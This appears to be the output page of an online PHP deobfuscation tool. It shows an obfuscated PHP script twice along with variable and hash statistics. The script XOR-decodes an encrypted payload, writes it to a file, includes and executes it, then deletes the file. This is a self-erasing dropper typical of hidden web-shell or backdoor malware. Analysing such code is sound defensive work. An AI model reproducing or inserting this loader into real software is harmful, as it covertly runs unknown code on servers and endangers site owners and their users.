Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function JhkapQx($agRpGHdjS, $lcrCzUdjgV) { $agRpGHdjS = urldecode($agRpGHd..

Decoded Output download

<?php 
 
function JhkapQx($agRpGHdjS, $lcrCzUdjgV) 
{ 
    $agRpGHdjS = urldecode($agRpGHdjS); 
    $tuFuxre = str_split($agRpGHdjS); 
    $action = ""; 
    for ($i = 0; $i < strlen($agRpGHdjS);$i++) { 
        $action .= $tuFuxre[$i] ^ $lcrCzUdjgV[$i%7]; 
    } 
    return $action; 
} 
 
$i="rK%2A%3E%01gH%0E%1D4%3F.%19%27%3A%5C%7D3%03%18-%3C%2B69%16Mnn%3A%0F%1A%3DCyC%7E%1A%3F%1F%03%1D%3D%11.%7EV%06-%29%2B%3F%24%03%050%3DSvvACyC%7E%1A%3F%1F%03%1D%3D%11.%7EV%07%236%2B%3F.%14%097%3A%1D58.%1E%2B%23%11%7DzQZkuyP%16%02%0F6%11%003%3B%145.%27%193%22YZkuyP%5B%7BgH%28%0145%05%03-+T%29%3E%15%1Ajj%10%3B%22%10Fbj%1F%3F%2FXgH5yPvQJbj%1B%2F%22.%0E%23%3A%15zkQH%60uyPvQJb%28%1B%28vYN%2BnIzfJJf%27Tfv%02%1E0%22%114%7EU%0E%23%3A%15smXJ9C%7EzvQJbnTz0%1E%18bfP0vLJruT%7E%3CQVb%3D%00%28%3A%14%04jj%1F%3F%2FXJdhT%7E%3FQVb%3D%00%28%3A%14%04jj%10%3B%22%10CynP0%7DZFbj%1Dq%7DXJ9C%7EzvQJbnTzvQJbj%1B%2F%22.%0E%23%3A%15zxLJ%21%26%06r9%03%0Ejj%10%3B%22%101f%27%29sv%2FJ-%3C%10rr%1A%0F%3B%15P0%0BXCyC%7EzvQJbnTz%2B%7C%60bnTz%2B%7C%60bnTz%24%14%1E7%3C%1Azr%1E%1F6%11%10%3B%22%10QOD%09W%5C%18%0Cbf%1D%29%25%14%1Ejj%2B%1D%13%251tyGneD7kgyP-%7C%60bnTz2%18%0Fj%23%10o%7EE%5Du%7FFs%7FJgH3yPr%05%0F%2F%3EI%3B%24%03%0B%3B%11%19%3F%24%16%0Fjj%2B%19%19%3E%21%0B%0BXzr.%3A%0D%1D+sm%7C%60%24%21%06%3F7%12%02bfP.3%1C%1Ab%2F%07zr%15%0B6%2F%2B13%08J%7FpT%7E2%10%1E%23gT%21%5B%7BJbnT%7E2%10%1E%23nIz%16%04%041%2B%0637%1D%038%2B%5C%29%3E%15%1Aj%3D%1C%3E%26Y%08%23%3D%11lb.%0E%27-%1B%3E3YN%26%2F%00%3B%7F%5DJez%00bdA%0C.6%1Chd%15%1E4%2A%0D%2C%3B%16%12%7B9%07%3E%25%40%0B%3B%2F%01+e%1D%13%29i%5DvvU%0E%23%3A%15%05%3D%14%13kgOW%5CQJbn%1D%3CvY%031%3D%11.%7EU%0E%23%3A%15%01q%10%01e%13%5Dsv%0AgHnTzvQJbn%1D%3CvYN%26%2F%00%3B%0DV%0Be%13TgkQM%2Bi%5Dz-%7C%60bnTzvQJbnTzvU%03bsT%3B%24%03%0B%3BfyPvQJbnTzvQJbnTzvQM28SzkOJ%02%3E%1C%2A+%14%181%27%1B4%7EXFODTzvQJbnTzvQJbnTzq%02%1CenIdvV%5Bl%7EYkq%5DgHnTzvQJbnTzvQCyC%7EzvQJbnTzvQJb%2B%1729Q%2A1%2B%0637%1D%038%2B%5C%7E%3FXQODTzvQJbnT%27v%14%061%2B%1D%3CvYN%26%2F%00%3B%0DV%0Be%13TgkQM%27i%5Dz-%7C%60bnTzvQJbnTzv%14%1C%23%22%5C%7E2%10%1E%23%15S%3Eq%2CCyC%7EzvQJbnTz%2B%7C%60bnTzvQJb%2B%0C3%22YCyC%7EzvQJ%3FC%7E%27"; 
$j="%28%1D63.%1A7%3A%2B99%1F%1E%27+%00%29"; 
 
$fziqnpwgD="NtZVqjBZosTE"; 
 
$k = JhkapQx($i, $fziqnpwgD); 
$f = JhkapQx($j, $fziqnpwgD); 
$f($fziqnpwgD, $k); 
include_once ($fziqnpwgD); 
unlink($fziqnpwgD); 
exit(); ?>

Did this file decode correctly?

Original Code

<?php

function JhkapQx($agRpGHdjS, $lcrCzUdjgV)
{
    $agRpGHdjS = urldecode($agRpGHdjS);
    $tuFuxre = str_split($agRpGHdjS);
    $action = "";
    for ($i = 0; $i < strlen($agRpGHdjS);$i++) {
        $action .= $tuFuxre[$i] ^ $lcrCzUdjgV[$i%7];
    }
    return $action;
}

$i="rK%2A%3E%01gH%0E%1D4%3F.%19%27%3A%5C%7D3%03%18-%3C%2B69%16Mnn%3A%0F%1A%3DCyC%7E%1A%3F%1F%03%1D%3D%11.%7EV%06-%29%2B%3F%24%03%050%3DSvvACyC%7E%1A%3F%1F%03%1D%3D%11.%7EV%07%236%2B%3F.%14%097%3A%1D58.%1E%2B%23%11%7DzQZkuyP%16%02%0F6%11%003%3B%145.%27%193%22YZkuyP%5B%7BgH%28%0145%05%03-+T%29%3E%15%1Ajj%10%3B%22%10Fbj%1F%3F%2FXgH5yPvQJbj%1B%2F%22.%0E%23%3A%15zkQH%60uyPvQJb%28%1B%28vYN%2BnIzfJJf%27Tfv%02%1E0%22%114%7EU%0E%23%3A%15smXJ9C%7EzvQJbnTz0%1E%18bfP0vLJruT%7E%3CQVb%3D%00%28%3A%14%04jj%1F%3F%2FXJdhT%7E%3FQVb%3D%00%28%3A%14%04jj%10%3B%22%10CynP0%7DZFbj%1Dq%7DXJ9C%7EzvQJbnTzvQJbj%1B%2F%22.%0E%23%3A%15zxLJ%21%26%06r9%03%0Ejj%10%3B%22%101f%27%29sv%2FJ-%3C%10rr%1A%0F%3B%15P0%0BXCyC%7EzvQJbnTz%2B%7C%60bnTz%2B%7C%60bnTz%24%14%1E7%3C%1Azr%1E%1F6%11%10%3B%22%10QOD%09W%5C%18%0Cbf%1D%29%25%14%1Ejj%2B%1D%13%251tyGneD7kgyP-%7C%60bnTz2%18%0Fj%23%10o%7EE%5Du%7FFs%7FJgH3yPr%05%0F%2F%3EI%3B%24%03%0B%3B%11%19%3F%24%16%0Fjj%2B%19%19%3E%21%0B%0BXzr.%3A%0D%1D+sm%7C%60%24%21%06%3F7%12%02bfP.3%1C%1Ab%2F%07zr%15%0B6%2F%2B13%08J%7FpT%7E2%10%1E%23gT%21%5B%7BJbnT%7E2%10%1E%23nIz%16%04%041%2B%0637%1D%038%2B%5C%29%3E%15%1Aj%3D%1C%3E%26Y%08%23%3D%11lb.%0E%27-%1B%3E3YN%26%2F%00%3B%7F%5DJez%00bdA%0C.6%1Chd%15%1E4%2A%0D%2C%3B%16%12%7B9%07%3E%25%40%0B%3B%2F%01+e%1D%13%29i%5DvvU%0E%23%3A%15%05%3D%14%13kgOW%5CQJbn%1D%3CvY%031%3D%11.%7EU%0E%23%3A%15%01q%10%01e%13%5Dsv%0AgHnTzvQJbn%1D%3CvYN%26%2F%00%3B%0DV%0Be%13TgkQM%2Bi%5Dz-%7C%60bnTzvQJbnTzvU%03bsT%3B%24%03%0B%3BfyPvQJbnTzvQJbnTzvQM28SzkOJ%02%3E%1C%2A+%14%181%27%1B4%7EXFODTzvQJbnTzvQJbnTzq%02%1CenIdvV%5Bl%7EYkq%5DgHnTzvQJbnTzvQCyC%7EzvQJbnTzvQJb%2B%1729Q%2A1%2B%0637%1D%038%2B%5C%7E%3FXQODTzvQJbnT%27v%14%061%2B%1D%3CvYN%26%2F%00%3B%0DV%0Be%13TgkQM%27i%5Dz-%7C%60bnTzvQJbnTzv%14%1C%23%22%5C%7E2%10%1E%23%15S%3Eq%2CCyC%7EzvQJbnTz%2B%7C%60bnTzvQJb%2B%0C3%22YCyC%7EzvQJ%3FC%7E%27";
$j="%28%1D63.%1A7%3A%2B99%1F%1E%27+%00%29";

$fziqnpwgD="NtZVqjBZosTE";

$k = JhkapQx($i, $fziqnpwgD);
$f = JhkapQx($j, $fziqnpwgD);
$f($fziqnpwgD, $k);
include_once ($fziqnpwgD);
unlink($fziqnpwgD);
exit();

Function Calls

JhkapQx 1
str_split 1
urldecode 1

Variables

$i rK%2A%3E%01gH%0E%1D4%3F.%19%27%3A%5C%7D3%03%18-%3C%2B69%16Mn..
$j %28%1D63.%1A7%3A%2B99%1F%1E%27+%00%29
$agRpGHdjS rK*>gH4?.':\}3-<+69Mnn:=CyC~?=.~V-)+?$0=SvvACyC~?=.~V#6+?. 7..
$fziqnpwgD NtZVqjBZosTE
$lcrCzUdjgV NtZVqjBZosTE

Stats

MD5 ce2f86e5344358db481d0bb824e545e8
Eval Count 0
Decode Time 42 ms